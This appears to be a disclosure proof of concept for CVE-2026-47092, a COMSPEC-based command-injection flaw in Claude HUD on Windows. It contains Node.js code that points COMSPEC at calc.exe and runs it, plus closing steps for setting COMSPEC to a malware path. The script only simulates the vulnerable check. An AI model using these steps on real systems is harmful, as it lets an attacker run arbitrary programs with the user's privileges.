CVE-2026-47092 Claude HUD命令注入漏洞

// PoC for CVE-2026-47092 // This PoC demonstrates the vulnerability by setting COMSPEC to a benign executable (calc.exe) // and simulating the version check behavior. const { execFile } = require('child_process'); const path = require('path'); // 1. Attacker sets the environment variable to a malicious path (simulated with calc.exe) process.env.COMSPEC = 'C:\\Windows\\System32\\calc.exe'; console.log(`[+] Exploit: COMSPEC set to ${process.env.COMSPEC}`); // 2. Vulnerable code simulation (extracted from typical version check logic) // The application attempts to execute a command, often relying on the system shell. // In the vulnerable version, the path to the shell is derived from process.env.COMSPEC. // Note: The actual vulnerable code likely calls execFile with a command that triggers shell usage // or explicitly references the environment variable for the shell path. // Here we simulate the call that leads to the execution of the binary set in COMSPEC. // Simulating the execution flow that resolves COMSPEC const shellPath = process.env.COMSPEC || 'cmd.exe'; const args = ['/c', 'echo Checking version...']; console.log(`[*] Attempting to execute: ${shellPath} ${args.join(' ')}`); // 3. Trigger execution // If vulnerable, calc.exe will open instead of just printing text or alongside it. execFile(shellPath, args, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Stdout: ${stdout}`); }); /* * Exploitation Steps: * 1. Ensure Claude HUD <= 0.0.12 is installed on Windows. * 2. Set COMSPEC environment variable to point to a malicious payload. * set COMSPEC=C:\path\to\malware.exe * 3. Trigger the Claude HUD version check (automatic or manual). * 4. Observe that malware.exe is executed with the privileges of the user running Claude HUD. */